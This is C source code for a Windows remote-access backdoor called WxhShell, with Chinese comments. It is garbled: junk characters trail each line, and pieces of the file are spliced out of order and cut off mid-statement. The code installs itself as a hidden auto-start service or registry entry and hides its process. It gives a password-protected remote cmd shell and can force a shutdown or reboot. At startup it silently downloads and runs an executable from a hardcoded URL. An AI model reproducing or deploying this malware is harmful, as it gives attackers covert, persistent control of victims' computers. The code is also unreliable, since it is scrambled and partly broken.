  // 关机 *K(k Kph  
  case 'd': { Ufdl|smt1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z.3<{-n}0i  
    if(Boot(SHUTDOWN)) yuHZ&e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bo@,4xw  
    else { DH:GI1Yu>I  
    closesocket(wsh); (*6 m^  
    ExitThread(0); jg [H}  
    } JiFA]M`^Q  
    break; |5xYT 'V  
    } N0Efw$u  
  // 获取shell , 3X: )  
  case 's': { o"p^/'ri  
    CmdShell(wsh); jt{9e:2%  
    closesocket(wsh); bLgL0}=n  
    ExitThread(0); (j' {~FB  
    break; /!3ZWXY\  
  } e-X HN  
  // 退出 *Jvxs R'a1  
  case 'x': { t;8\fIW5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9>by~4An?  
    CloseIt(wsh); ,~4H{{<j  
    break; d2rL 8jW  
    } Hm%g_Mt  
  // 离开 gmh5 %2M  
  case 'q': { <B6[i*&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AR%hf  
    closesocket(wsh); ^P`NMSw  
    WSACleanup(); ha*X6R  
    exit(1); QR<`pmB~y  
    break; zfhTc=(/  
        } s%~L4Wmcq  
  } i+f7  
  } *5'.!g('  
D+Cm<ZT~  
  // 提示信息 E&*: jDg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \PpXL*.  
} [,=d7*b(l  
  } 8j%'9vPi  
}g`Gh|C  
  return; OifvUTl9b  
} ) Qq'Wp3i  
@mf({Q>  
// shell模块句柄 {<2>6 _z  
int CmdShell(SOCKET sock) =SAV|  
{ rK7W(D}  
STARTUPINFO si; ~-TOsRvxR  
ZeroMemory(&si,sizeof(si)); mO P4z'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z8HsYf(!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <l$P&jSF3  
PROCESS_INFORMATION ProcessInfo; 740B\pc0  
char cmdline[]="cmd"; $Pxb1E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Nt]qVwUm'Y  
  return 0; I"@p aLZ  
} o#>a 5  
fkjeR B  
// 自身启动模式 %,\=s.~1  
int StartFromService(void) !Xj#@e  
{ !\-WEQrp\  
typedef struct hQRL,?  
{ _;hf<|c  
  DWORD ExitStatus; `0bP0^w  
  DWORD PebBaseAddress; a?F!,=F  
  DWORD AffinityMask; 03=5Nof1  
  DWORD BasePriority; ~.^AL}zm_  
  ULONG UniqueProcessId; [dB$U}SEj  
  ULONG InheritedFromUniqueProcessId; F;8*H1  
}   PROCESS_BASIC_INFORMATION; h7]EB!D\A  
wpXgPVZT  
PROCNTQSIP NtQueryInformationProcess; %{!R l@  
:^i^0dC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jV O{$j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ooc\1lX  
"Y;}G lE  
  HANDLE             hProcess; nirDMw[  
  PROCESS_BASIC_INFORMATION pbi; $TG =w  
J0Z7 l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #Exp51  
  if(NULL == hInst ) return 0; kJ{+M]pW  
IXpc,l `  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aS84n.?vq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =2Cj,[$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8)L*AdDAW!  
OGOND,/R?/  
  if (!NtQueryInformationProcess) return 0; s?2$ue&-f  
(UL4+ta  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;"kaF!  
  if(!hProcess) return 0; a0=WfeT  
= &tmP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H,QTYXi "  
);FS7R  
  CloseHandle(hProcess); wSEWwU[  
*JX;|S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7fHc[,  
if(hProcess==NULL) return 0; 'n;OB4  
t `kui.  
HMODULE hMod; Qm4o7x{q  
char procName[255]; ]e'fa/I  
unsigned long cbNeeded; M|,mr~rRG  
}}&#|)Yq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pav'1d%  
PPkx4S_>  
  CloseHandle(hProcess); z^<L(/rg9"  
/w(e  
if(strstr(procName,"services")) return 1; // 以服务启动 :,B7-kBw  
s{0aBeq  
  return 0; // 注册表启动 -fS.9+k0/  
} !3X0FNGq  
.8(OT./  
// 主模块 e:'?*BYVg3  
int StartWxhshell(LPSTR lpCmdLine) 1r Ky@9   
{ _>+8og/%@  
  SOCKET wsl; F$BbYf2i  
BOOL val=TRUE; HpZ1xT  
  int port=0; 9KWuN:Sg  
  struct sockaddr_in door; ryB}b1`D  
_{<seA  
  if(wscfg.ws_autoins) Install(); 7%f&M>/  
Xpe)PXb  
port=atoi(lpCmdLine); 5GA C`}}  
I$q]. B  
if(port<=0) port=wscfg.ws_port; [e[<p\]  
Ar*^ ;/  
  WSADATA data; tW WWx~k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wLc4Dm*V  
yY?b.ty  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HK`I\,K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '3zc|eJt&  
  door.sin_family = AF_INET; @)o^uU T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >leU:7  
  door.sin_port = htons(port); _XCOSomL`  
vz.>~HBP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )W/;=K  
closesocket(wsl); n]E?3UGD@W  
return 1; dXF^(y]l  
} sMu] /'7  
}gJ(DbnV  
  if(listen(wsl,2) == INVALID_SOCKET) { QQWadVQo  
closesocket(wsl); pe^u$YE  
return 1; lOtDqb&  
} CHe>OreiS  
  Wxhshell(wsl); Z&;uh_EC  
  WSACleanup(); sI{ M  
uj :%#u  
return 0; t+9][Adf  
|PC*=ykT3  
} (J z1vEEV  
w.[ "p9tc  
// 以NT服务方式启动 Y1]n^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +E{|63~q  
{ ?Y@N`S  
DWORD   status = 0; q FAT]{{  
  DWORD   specificError = 0xfffffff; ~]QHk?[wc  
Hv2De0W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EOCN&_Z;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [eC2"&}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gHo?[pS%y  
  serviceStatus.dwWin32ExitCode     = 0; zG(\+4GE!  
  serviceStatus.dwServiceSpecificExitCode = 0; r-Pkfy(  
  serviceStatus.dwCheckPoint       = 0; EM[WK+9>I{  
  serviceStatus.dwWaitHint       = 0; /Njd[= B  
B]Thn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )c)vTZy  
  if (hServiceStatusHandle==0) return; RS8Hf~0G  
[Al&  
status = GetLastError(); (L/_^!ZX  
  if (status!=NO_ERROR) iv4H#rJ  
{ mWsI}2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %z,m B$LY  
    serviceStatus.dwCheckPoint       = 0; $#9;)8J  
    serviceStatus.dwWaitHint       = 0; /}b03  
    serviceStatus.dwWin32ExitCode     = status;  +|n*b  
    serviceStatus.dwServiceSpecificExitCode = specificError; BHU6t<G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gc-@"wI?  
    return; w"Gm;B4  
  } ix)M`F%P3  
q_MG?re  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H4&lb}  
  serviceStatus.dwCheckPoint       = 0; Ku5\]  
  serviceStatus.dwWaitHint       = 0; TJ6*t!'*X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nxnv,AZG  
} eg;~zv  
$5aV:Z3P  
// 处理NT服务事件,比如:启动、停止 o,AAC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0"  
{ 7:plQ !7^  
switch(fdwControl) 3Q.#c,`jV  
{ N4F.Y"R$(  
case SERVICE_CONTROL_STOP: W$hx,VEy`  
  serviceStatus.dwWin32ExitCode = 0; '"0'Oua  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'YmIKIw  
  serviceStatus.dwCheckPoint   = 0; 3no%E03p  
  serviceStatus.dwWaitHint     = 0; G\2 CR*  
  { gmw|H?]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =.Pw`.  
  } |"ls\ 7  
  return; ayR-\mZ  
case SERVICE_CONTROL_PAUSE: y" RF;KW>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O_oPh] x)  
  break; a*lh)l<KV  
case SERVICE_CONTROL_CONTINUE: ype$ c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =Y{(%sn  
  break; #+ 0M2Sa  
case SERVICE_CONTROL_INTERROGATE: \A 2r]  
  break; *+Ek0M  
}; QwW&\h[8?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bh,[ 3X%  
} :~&~y-14  
{f3YsM;]C  
// 标准应用程序主函数 1H? u Qy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5sj4;w[  
{ x -WmMfcz&  
}7|1  
// 获取操作系统版本 n9W(bG o  
OsIsNt=GetOsVer(); Kr gFKRgGj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O,{6*[)@  
,1~"eGl!  
  // 从命令行安装 T0wW<_jh  
  if(strpbrk(lpCmdLine,"iI")) Install(); {f/~1G[M  
ZCMw3]*  
  // 下载执行文件 %KC yb  
if(wscfg.ws_downexe) { xI#9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0fb2;&pUa  
  WinExec(wscfg.ws_filenam,SW_HIDE); @Q)OGjaq  
} + [iQLM?zo  
B3pCy~*5  
if(!OsIsNt) { ~ (|5/ p7t  
// 如果时win9x,隐藏进程并且设置为注册表启动 DrKP%BnS  
HideProc(); LM:vsG  
StartWxhshell(lpCmdLine); >:74%D0UF  
} 6KXtcXQ  
else ,?J!  
  if(StartFromService()) }^ApJS(FQ  
  // 以服务方式启动 1!xQ=DU"  
  StartServiceCtrlDispatcher(DispatchTable); 'F+C4QAq  
else epA:v|S  
  // 普通方式启动 Ep9nsX*   
  StartWxhshell(lpCmdLine); |kyX3~  
wL+s8#{  
return 0; -o ^7r@6  
} +SP{hHa^  
b o6d)Q  
3@etRd;]Kr  
Lu?C-$a C  
=========================================== K^ vIUZ>  
@x*c1%wg  
lEH65;Nh*  
rMdt:`  
$njUXSQ;  
AHD=<7Rs  
" 8r*E-akuyr  
A!od9W6  
#include <stdio.h> \ ZgE  
#include <string.h> /Wi[OT14  
#include <windows.h> I:=S 0&%)  
#include <winsock2.h> :tz#v`3o  
#include <winsvc.h> QE^$=\l0  
#include <urlmon.h> 3lf=b~Zi)  
Zd3S:),&  
#pragma comment (lib, "Ws2_32.lib") tIWmp30S  
#pragma comment (lib, "urlmon.lib") |6.l7u ?d  
p2hB8zL  
#define MAX_USER   100 // 最大客户端连接数 =mO vs  
#define BUF_SOCK   200 // sock buffer $h+1u$po  
#define KEY_BUFF   255 // 输入 buffer .T}Wdn g  
QVv#fy1"6  
#define REBOOT     0   // 重启 P}Gj %4/G  
#define SHUTDOWN   1   // 关机 M,j U}yD3  
%:M ^4~dc  
#define DEF_PORT   5000 // 监听端口 ${<%" hR$  
W =D4r  
#define REG_LEN     16   // 注册表键长度 6|gCuT4  
#define SVC_LEN     80   // NT服务名长度 rlMLW  
{0[tNth'h  
// 从dll定义API >BV^H.SO|1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x) ,eI'mf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]3D0R;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }fp-pe69z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (o 5s"b  
EuEZ D +  
// wxhshell配置信息 =rMUov h  
struct WSCFG { i[O& )N,c  
  int ws_port;         // 监听端口 `fA@hK   
  char ws_passstr[REG_LEN]; // 口令 ^7 w+l @  
  int ws_autoins;       // 安装标记, 1=yes 0=no `{f}3bO7C  
  char ws_regname[REG_LEN]; // 注册表键名 zG }@0  
  char ws_svcname[REG_LEN]; // 服务名 /fKx} }g)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5[8xV%>;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Lz |? ek7Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1XrO~W\=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &yct!YOB2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _?-E7:Sw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j@AIK+0Qc  
5GI,o|[s6  
}; D@,6M#SK  
> $O]Eu!  
// default Wxhshell configuration Z-$[\le  
struct WSCFG wscfg={DEF_PORT, TYy?KG>:'  
    "xuhuanlingzhe", eVEV}`X  
    1, 4n#M  
    "Wxhshell", 3$9s\<j  
    "Wxhshell", O\ GEay2  
            "WxhShell Service", l3{-z4mw  
    "Wrsky Windows CmdShell Service", ?U%qPv:  
    "Please Input Your Password: ", ?1*cO:O  
  1, 8Q.T g.  
  "http://www.wrsky.com/wxhshell.exe", ])[[ V!1  
  "Wxhshell.exe" OyStqi  
    }; ;(b9#b.  
U#0Q)  
// 消息定义模块 46}g7skD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .O DU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y;4OY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4(#'_jS  
char *msg_ws_ext="\n\rExit."; 1NbG>E#Ol  
char *msg_ws_end="\n\rQuit."; MS nG3]{z  
char *msg_ws_boot="\n\rReboot..."; %2}-2}[>  
char *msg_ws_poff="\n\rShutdown..."; v3*_9e  
char *msg_ws_down="\n\rSave to "; D.r<QO~6B  
2+RUTOv/d  
char *msg_ws_err="\n\rErr!"; VRVO-Sk  
char *msg_ws_ok="\n\rOK!"; M  f}~{+  
Rm2yPuOU}A  
char ExeFile[MAX_PATH]; ~G)S   
int nUser = 0; I )~GZ  
HANDLE handles[MAX_USER]; B+$%*%b  
int OsIsNt; !`M,XSp(  
3#W T.4k  
SERVICE_STATUS       serviceStatus; I:E`PZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9# 23FK  
"x#-sZ=  
// 函数声明 +UCG0D  
int Install(void); '<gI8W</  
int Uninstall(void); raW>xOivR  
int DownloadFile(char *sURL, SOCKET wsh); g!|=%(G=  
int Boot(int flag); k 9_`(nx  
void HideProc(void); ^dI424  
int GetOsVer(void); kPKB|kP\  
int Wxhshell(SOCKET wsl); ! :Y:pu0  
void TalkWithClient(void *cs); *Hg>[@dP0  
int CmdShell(SOCKET sock); 7dN*lks  
int StartFromService(void); LHyB3V  
int StartWxhshell(LPSTR lpCmdLine); 'I`&Yo~c9  
`oAW7q)~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g6y B6vk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bpOYHc6,*`  
'g">LQ~a+  
// 数据结构和表定义 ):P?  
SERVICE_TABLE_ENTRY DispatchTable[] = # ncRb  
{ _H9 MwJ  
{wscfg.ws_svcname, NTServiceMain}, d|jNf</`  
{NULL, NULL} #"}JdBn  
}; |+{)_?  
&U{#Kt5q  
// 自我安装 C/_ZUF(V  
int Install(void) @hl.lq  
{ jxP;>K7O  
  char svExeFile[MAX_PATH]; fPU`/6  
  HKEY key; k}S :RK  
  strcpy(svExeFile,ExeFile); goLL;AL  
3_C|z,\:  
// 如果是win9x系统,修改注册表设为自启动 hMa]B*o/-  
if(!OsIsNt) { y>S.?H:P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W}nlRbN?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  50"pbzW  
  RegCloseKey(key); >R|/M`<ph  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n"$jG:A QJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R%Hi+#/dr-  
  RegCloseKey(key); +[Dx?XM  
  return 0; u :}%xD6  
    } &C:IX\  
  } QfmJn((  
} ZVW'>M7.  
else { ?K1/ <PE+  
"H2EL}3/]  
// 如果是NT以上系统,安装为系统服务 WEAT01  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mR!1DQ.\<  
if (schSCManager!=0) M|VyV (f  
{ HsxVZ.dS  
  SC_HANDLE schService = CreateService GmK^}=frj  
  ( +|*IZ:w)  
  schSCManager, <:_wbVn-  
  wscfg.ws_svcname, 1kz\IQ{  
  wscfg.ws_svcdisp, ,t3wp#E2#  
  SERVICE_ALL_ACCESS, G%BjhpL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2L!u1  
  SERVICE_AUTO_START, V#v`(j%  
  SERVICE_ERROR_NORMAL, K:J3Z5"  
  svExeFile, QZ!Y2Bz(4  
  NULL, 6=kEyJT'  
  NULL, L]yS[UN$  
  NULL, \c,ap49RC  
  NULL,  ;i4Q|  
  NULL SQ@y;|(  
  ); x;w6na  
  if (schService!=0) tE.FrZS  
  { G `+T+  
  CloseServiceHandle(schService); A4Rug\p]  
  CloseServiceHandle(schSCManager); #HYr0Tw6`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2{D{sa  
  strcat(svExeFile,wscfg.ws_svcname); Id*Ce2B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PYQ;``~x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W=lyIb{?^0  
  RegCloseKey(key); mD/9J5:  
  return 0; @efh{  
    } 6e(Qwt  
  } 8<5]\X  
  CloseServiceHandle(schSCManager); rW<KKGsRWQ  
} +\x,HsUc"  
} w}L]X1#sF  
Y2|#V#  
return 1; 3s5z UT;  
} $': E\*ICb  
ycc4W*]  
// 自我卸载 }q`ts=dlGt  
int Uninstall(void) t9nqu!);  
{ [v7F1@6b  
  HKEY key; wrviR  
DP[IZ C  
if(!OsIsNt) { ,aOl_o -&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FO+Zue.RS  
  RegDeleteValue(key,wscfg.ws_regname); `-.%^eIp  
  RegCloseKey(key); SII;n2[Ze  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -#7'r<I9@  
  RegDeleteValue(key,wscfg.ws_regname); ~Io7]  
  RegCloseKey(key); <qtr   
  return 0; 5c9^-|-T  
  } '>NCMB{*  
} 7jxslI&F  
} ?:pP8/y  
else { )}g(b=  
*RDn0d[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2SD`OABf#  
if (schSCManager!=0) Ut*`:]la  
{ c7<wZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u$h 4lIl  
  if (schService!=0) QaS1Dh  
  { x%s-+&  
  if(DeleteService(schService)!=0) { \?w2a$?6w  
  CloseServiceHandle(schService); ?e` ^P   
  CloseServiceHandle(schSCManager); rTM}})81  
  return 0; hmvfw:Nq4  
  } kC WEtbz1  
  CloseServiceHandle(schService); oNr-Q& C,  
  } PZ2;v<  
  CloseServiceHandle(schSCManager); :C7_Jp*Qv  
} LVX[uWEM  
} d<% z 1Dj2  
t;\kR4P  
return 1; 81](T<  
} !4]T XH0f  
O80<Z#%j`  
// 从指定url下载文件 @>u]4Jn  
int DownloadFile(char *sURL, SOCKET wsh) 6,o~\8ia  
{ |_LU~7./  
  HRESULT hr; r/4``shg  
char seps[]= "/"; [V^WGW2oY  
char *token; c*(bO3 b  
char *file; J\/cCW-rF  
char myURL[MAX_PATH]; w&X<5'GM  
char myFILE[MAX_PATH]; ccB&O _  
*,3SGcYdJj  
strcpy(myURL,sURL); D~biKrg?=  
  token=strtok(myURL,seps); [6pD  
  while(token!=NULL) pN!}UqfI-  
  { 'ZT^PV \  
    file=token; bmJ5MF]_fG  
  token=strtok(NULL,seps); 3%l*N&gsg:  
  } 1=t>HQ  
}]e-{C}  
GetCurrentDirectory(MAX_PATH,myFILE); ,kF1T,  
strcat(myFILE, "\\"); C.~,qmOP  
strcat(myFILE, file); N6>(;ugJ1-  
  send(wsh,myFILE,strlen(myFILE),0); g@rb  
send(wsh,"...",3,0); VkvB<3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E4xj?m^(y=  
  if(hr==S_OK) Fa?~0H/DL  
return 0;  RwKdxK+;  
else mN~ci 0  
return 1; PjZvQ\Z  
?<V?wsp  
} b$4"i XSQ  
T3~k>"W  
// 系统电源模块 11TL~ xFh  
int Boot(int flag) ~kQA7;`j$  
{ Cf TfL3(J  
  HANDLE hToken; ~KHVY)@P  
  TOKEN_PRIVILEGES tkp; *$yR*}A  
_/F7 ?^j  
  if(OsIsNt) { E'G4Y-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N8k00*p65  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6 2'j!"xv  
    tkp.PrivilegeCount = 1; >v:y?A,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #EO9UW5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t=|evOz]  
if(flag==REBOOT) { (gy#js #  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &{ay=Mj  
  return 0; 0":ib0=  
} T29Dt  
else { YX=a#%vrl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kv3E4,<9  
  return 0; ? K ;dp  
} sA/pVU  
  } 0>C T=(A  
  else { $@"l#vJPfc  
if(flag==REBOOT) { Y -pzy']4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .JYaH?  
  return 0; }B8IBveu  
} kB3H="3[[  
else { YwteZSbp6M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iEd\6EZ  
  return 0; 1HXjN~XF  
} DAS/43\  
} p=;=w_^y  
O]lSWEe  
return 1; e91aK  
} %JXE5l+pJ  
(}a8"]Z  
// win9x进程隐藏模块 9bP^`\K[N  
void HideProc(void) q-.,nMUF  
{ gGr^@=;YC  
|k+8<\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?,p;O  
  if ( hKernel != NULL ) +,2:g}5  
  { plUZ"Tr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M\sN@+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eb.O#Y  
    FreeLibrary(hKernel); 3x5JFM  
  } [baiH|5>  
t0o`-d(  
return; =o Xsb  
} ZNf6;%oGG  
Q o?O:  
// 获取操作系统版本 6qRx0"qB  
int GetOsVer(void) H18Tn!RDS  
{ d p2F  
  OSVERSIONINFO winfo; g}f`,r9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C 'v+f=  
  GetVersionEx(&winfo); \Z]UA&v_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eAXc:222  
  return 1; k40* e\  
  else b vS(@  
  return 0; afv~r>q(-  
} OZx W?wnd  
AmaT0tzJC  
// 客户端句柄模块 ]e^c=O`$  
int Wxhshell(SOCKET wsl) }R1< 0~g  
{ s>0't  
  SOCKET wsh; T,]7ICF#  
  struct sockaddr_in client; j/>$,   
  DWORD myID; $>GgB`  
p;._HJ(  
  while(nUser<MAX_USER) |(pRaiJ  
{ %<E$,w>  
  int nSize=sizeof(client); e<=cdze  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [onGNq?#  
  if(wsh==INVALID_SOCKET) return 1; lp<g \  
vV[eWd.o6M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Av"R[)  
if(handles[nUser]==0) "$N#p5  
  closesocket(wsh); ;u;#g  
else qR(\5}  
  nUser++; VTG9$rQZ  
  } n;(\5{a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]F;f`o  
k *Q<3@S  
  return 0; YQ39 A_e g  
} zN!ZyI$nqP  
Q,p}:e  
// 关闭 socket 99}(~B  
void CloseIt(SOCKET wsh) ?0)&U  
{ F">Qpgt  
closesocket(wsh); eln&]d;  
nUser--; q8s0AN'@t'  
ExitThread(0); O J/,pLYu  
} IqC]!H0  
}D7I3]2>   
// 客户端请求句柄 b+@JY2dvj  
void TalkWithClient(void *cs) Gs9:6  
{ odPL {XFj  
%K\?E98M  
  SOCKET wsh=(SOCKET)cs; zoOaVV&1  
  char pwd[SVC_LEN]; >?6&c  
  char cmd[KEY_BUFF]; !OBEM1~ 1  
char chr[1]; x*?x=^I{  
int i,j; ,17hGKM  
>+]_5qc  
  while (nUser < MAX_USER) { wW#}:59}  
Hj:r[/  
if(wscfg.ws_passstr) { oN{Z+T :  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O) WCW<p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XLAN Np%E  
  //ZeroMemory(pwd,KEY_BUFF); FP;Ccl"s  
      i=0; @r#v[I  
  while(i<SVC_LEN) { .Jt[(;  
U7oo$gW%|T  
  // 设置超时 "Jt.lL ]5  
  fd_set FdRead; 4zJtOK?r"  
  struct timeval TimeOut; }"=AG  
  FD_ZERO(&FdRead); "NgxkbDEbG  
  FD_SET(wsh,&FdRead); r9 ui|>U"  
  TimeOut.tv_sec=8; 3E>frR\!I  
  TimeOut.tv_usec=0; !R1.7}O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h&Efg   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |`lzfe  
3=Cc.a/3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oXxCXO,q  
  pwd=chr[0]; &e;=cAXG  
  if(chr[0]==0xd || chr[0]==0xa) { 2_zp:v  
  pwd=0; }RHn)}+  
  break; LUC4=kk4   
  } ^j" .  
  i++; o'W5|Gy  
    } QAvir%Y9Q  
]@uE #a:[  
  // 如果是非法用户,关闭 socket &jsVw)Ue  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7PANtCFb&  
} 4g : >[q  
5e$~)fL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dHK`eS$sb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wvbPnf^y  
e XfZ5(na  
while(1) { 4$*%gL;f^  
zgs(Dt;  
  ZeroMemory(cmd,KEY_BUFF); g>dA$h%  
*M$0J'-BQ  
      // 自动支持客户端 telnet标准   c0hwc1kv-  
  j=0; n@U n  
  while(j<KEY_BUFF) { f}1&HI8r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :{IO=^D=$  
  cmd[j]=chr[0]; l-ct?T_@  
  if(chr[0]==0xa || chr[0]==0xd) { &_"]5/"(  
  cmd[j]=0; ]`&Yqg  
  break; B x (uRj  
  } ?Rj~f{%g  
  j++; _T2=J+"-Kp  
    } )('%R|$ /  
Gm(b/qDDe  
  // 下载文件 Kj<^zo%w  
  if(strstr(cmd,"http://")) {  ^}:#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GDD '[;  
  if(DownloadFile(cmd,wsh)) .h9l7 nZt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ")V130<  
  else b|+wc6   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Z3('?\z~  
  } G3rj`Sg^c  
  else { Q8 DQlqHm  
